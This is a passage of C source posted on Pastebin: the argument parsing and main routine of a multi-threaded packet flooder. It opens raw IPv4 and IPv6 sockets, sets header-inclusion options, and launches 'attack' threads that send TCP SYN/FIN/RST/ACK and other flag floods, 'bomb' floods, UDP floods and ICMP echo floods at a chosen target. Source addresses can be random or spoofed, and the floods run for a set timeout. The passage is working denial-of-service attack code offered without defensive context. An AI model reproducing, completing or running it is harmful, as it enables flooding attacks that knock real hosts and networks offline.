  736. thread_data_array[0].a_flags |= UDP_BMB;
  737. thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  738. thread_data_array[UDP_BMB].bombsize = bombsize;
  739. break;
  740. case 2:
  741. thread_data_array[RAW_BMB].initialized = 1;
  742. thread_data_array[0].a_flags |= RAW_BMB;
  743. thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
  744. thread_data_array[RAW_BMB].bombsize = bombsize;
  745. break;
  746. }
  747. break;
  748. case 'I':
  749. thread_data_array[ICMP_ECHO_G].initialized = 1;
  750. thread_data_array[0].a_flags |= ICMP_ECHO_G;
  751. thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  752. break;
  753. case 'U':
  754. thread_data_array[UDP_CFF].initialized = 1;
  755. thread_data_array[0].a_flags |= UDP_CFF;
  756. thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  757. break;
  758. case 'h':
  759. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  760. DestAddress4.sin_family = AF_INET;
  761. inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  762. thread_data_array[0].dstaddr = lookup(optarg);
  763. thread_data_array[0].destination4 = DestAddress4;
  764. }
  765. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  766. DestAddress6.sin6_family = AF_INET6;
  767. inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  768. thread_data_array[0].destination6 = DestAddress6;
  769. } else {
  770. printf("-4 and -6 can not both be specified.\n\n");
  771. usage(argv[0]);
  772. }
  773. break;
  774. case 'd':
  775. thread_data_array[0].dst_class = optarg;
  776. break;
  777. case 's':
  778. thread_data_array[0].src_class = optarg;
  779. break;
  780. case 'p':
  781. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  782. usage(argv[0]);
  783. thread_data_array[0].d_lport = atoi(optarg); /* Destination start port */
  784. thread_data_array[0].d_hport = atoi(p + 1); /* Destination end port */
  785. break;
  786. case 'q':
  787. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  788. usage(argv[0]);
  789. thread_data_array[0].s_lport = atoi(optarg); /* Source start port */
  790. thread_data_array[0].s_hport = atoi(p + 1); /* Source end port */
  791. break;
  792. case 't':
  793. thread_data_array[0].timeout = atoi(optarg);
  794. break;
  795. case 'w':
  796. window_size = atoi(optarg);
  797. if(window_size > 65535)
  798. window_size = 65535;
  799. thread_data_array[0].window_size = window_size;
  800. break;
  801. default:
  802. usage(argv[0]);
  803. break;
  804. }
  805. }
  806. if (!thread_data_array[0].timeout) {
  807. usage(argv[0]);
  808. }
  809. if (!thread_data_array[0].src_class) {
  810. if(thread_data_array[0].flag6 == 1) {
  811. static char ipstring[3];
  812. strcat(ipstring, "470:");
  813. thread_data_array[0].src_class = class2ip6(ipstring);
  814. }
  815. }
  816. if ( (!thread_data_array[0].flag4 && !thread_data_array[0].flag6) || (!thread_data_array[0].a_flags) ||
  817. (!thread_data_array[0].timeout)) {
  818. usage(argv[0]);
  819. }
  820. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  821. int i;
  822. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  823. if ( thread_data_array[i].initialized == 1 ) {
  824. if ( thread_data_array[i].a_flags <= TCP_FRG || thread_data_array[i].a_flags == RAW_BMB ||
  825. thread_data_array[i].a_flags == ICMP_ECHO_G) {
  826. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  827. perror("socket");
  828. exit(-1);
  829. }
  830. } else if(thread_data_array[i].a_flags == TCP_BMB) {
  831. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
  832. perror("socket");
  833. exit(-1);
  834. }
  835. } else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF) {
  836. if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
  837. perror("socket");
  838. exit(-1);
  839. }
  840. }
  841. if (thread_data_array[i].a_flags != UDP_BMB) {
  842. if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
  843. perror("setsockopt");
  844. exit(-1);
  845. }
  846. }
  847. }
  848. }
  849. printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class !=
  850. NULL ? thread_data_array[0].dst_class
  851. :inet_ntop(AF_INET,&thread_data_array[0].destination4.sin_addr,thread_data_array[0].DestIP4,
  852. sizeof(thread_data_array[0].DestIP4)),thread_data_array[0].src_class != NULL ? thread_data_array[0].src_class
  853. :"random",thread_data_array[0].a_flags, thread_data_array[0].timeout);
  854. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  855. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  856. int i;
  857. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  858. if ( thread_data_array[i].initialized== 1 ) {
  859. if (thread_data_array[i].a_flags <= TCP_BMB || thread_data_array[i].a_flags == RAW_BMB) {
  860. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0) {
  861. perror("socket");
  862. exit(-1);
  863. }
  864. } else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF) {
  865. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0) {
  866. perror("socket");
  867. exit(-1);
  868. }
  869. }
  870. else if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  871. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0) {
  872. perror("socket");
  873. exit(-1);
  874. }
  875. }
  876. if (thread_data_array[i].a_flags != UDP_BMB) {
  877. if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0) {
  878. perror("setsockopt");
  879. exit(-1);
  880. }
  881. }
  882. }
  883. }
  884. printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n", thread_data_array[0].dst_class !=
  885. NULL ? thread_data_array[0].dst_class :
  886. inet_ntop(AF_INET6,&thread_data_array[0].destination6.sin6_addr,thread_data_array[0].DestIP6,
  887. sizeof(thread_data_array[0].DestIP6)),thread_data_array[0].src_class,thread_data_array[0].a_flags,thread_data_array[0].timeout);
  888. printf("[FLAGS] (%d)\n\n", thread_data_array[0].a_flags);
  889. }
  890. signal (SIGINT, handle_exit);
  891. signal (SIGTERM, handle_exit);
  892. signal (SIGQUIT, handle_exit);
  893. thread_data_array[0].start = time(NULL);
  894. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  895. if (thread_data_array[i].a_flags == TCP_FIN) {
  896. thread_data_array[i].thread = i;
  897. thread_data_array[i].packets = 0;
  898. thread_data_array[i].th_flags = TH_FIN;
  899. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  900. printf("+ Thread error:\n");
  901. perror("- pthread_create()\n");
  902. }
  903. }
  904. if (thread_data_array[i].a_flags == TCP_SYN) {
  905. thread_data_array[i].thread = i;
  906. thread_data_array[i].packets = 0;
  907. thread_data_array[i].th_flags = TH_SYN;
  908. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  909. printf("+ Thread error:\n");
  910. perror("- pthread_create()\n");
  911. }
  912. }
  913. if (thread_data_array[i].a_flags == TCP_RST) {
  914. thread_data_array[i].thread = i;
  915. thread_data_array[i].packets = 0;
  916. thread_data_array[i].th_flags = TH_RST;
  917. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  918. printf("+ Thread error:\n");
  919. perror("- pthread_create()\n");
  920. }
  921. }
  922. if (thread_data_array[i].a_flags == TCP_PSH) {
  923. thread_data_array[i].thread = i;
  924. thread_data_array[i].packets = 0;
  925. thread_data_array[i].th_flags = TH_PUSH;
  926. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  927. printf("+ Thread error:\n");
  928. perror("- pthread_create()\n");
  929. }
  930. }
  931. if (thread_data_array[i].a_flags == TCP_ACK) {
  932. thread_data_array[i].thread = i;
  933. thread_data_array[i].packets = 0;
  934. thread_data_array[i].th_flags = TH_ACK;
  935. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  936. printf("+ Thread error:\n");
  937. perror("- pthread_create()\n");
  938. }
  939. }
  940. if (thread_data_array[i].a_flags == TCP_URG) {
  941. thread_data_array[i].thread = i;
  942. thread_data_array[i].packets = 0;
  943. thread_data_array[i].th_flags = TH_URG;
  944. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  945. printf("+ Thread error:\n");
  946. perror("- pthread_create()\n");
  947. }
  948. }
  949. if (thread_data_array[i].a_flags == TCP_ECE) {
  950. thread_data_array[i].thread = i;
  951. thread_data_array[i].packets = 0;
  952. thread_data_array[i].th_flags = TH_ACK;
  953. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  954. printf("+ Thread error:\n");
  955. perror("- pthread_create()\n");
  956. }
  957. }
  958. if (thread_data_array[i].a_flags == TCP_CWR) {
  959. thread_data_array[i].thread = i;
  960. thread_data_array[i].packets = 0;
  961. thread_data_array[i].th_flags = TH_ACK;
  962. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  963. printf("+ Thread error:\n");
  964. perror("- pthread_create()\n");
  965. }
  966. }
  967. if (thread_data_array[i].a_flags == TCP_NOF) {
  968. thread_data_array[i].thread = i;
  969. thread_data_array[i].packets = 0;
  970. thread_data_array[i].th_flags = TH_NOF;
  971. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  972. printf("+ Thread error:\n");
  973. perror("- pthread_create()\n");
  974. }
  975. }
  976. if (thread_data_array[i].a_flags == TCP_FRG) {
  977. thread_data_array[i].thread = i;
  978. thread_data_array[i].packets = 0;
  979. thread_data_array[i].th_flags = TH_NOF;
  980. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  981. printf("+ Thread error:\n");
  982. perror("- pthread_create()\n");
  983. }
  984. }
  985. if (thread_data_array[i].a_flags == TCP_BMB) {
  986. thread_data_array[i].thread = i;
  987. thread_data_array[i].packets = 0;
  988. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  989. printf("+ Thread error:\n");
  990. perror("- pthread_create()\n");
  991. }
  992. }
  993. if (thread_data_array[i].a_flags == UDP_BMB) {
  994. thread_data_array[i].thread = i;
  995. thread_data_array[i].packets = 0;
  996. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  997. printf("+ Thread error:\n");
  998. perror("- pthread_create()\n");
  999. }
  1000. }
  1001. if (thread_data_array[i].a_flags == RAW_BMB) {
  1002. thread_data_array[i].thread = i;
  1003. thread_data_array[i].packets = 0;
  1004. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1005. printf("+ Thread error:\n");
  1006. perror("- pthread_create()\n");
  1007. }
  1008. }
  1009. if (thread_data_array[i].a_flags == UDP_CFF) {
  1010. thread_data_array[i].thread = i;
  1011. thread_data_array[i].packets = 0;
  1012. if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0) {
  1013. printf("+ Thread error:\n");
  1014. perror("- pthread_create()\n");
  1015. }
  1016. }
  1017. if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  1018. thread_data_array[i].thread = i;
  1019. thread_data_array[i].packets = 0;
  1020. if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0) {
  1021. printf("+ Thread error:\n");
  1022. perror("- pthread_create()\n");
  1023. }
  1024. }
  1025. }
  1026. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2){
  1027. if(attack_thread[i] != 0)
  1028. pthread_join(attack_thread[i], NULL);
  1029. }
  1030. exit(0);
  1031. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top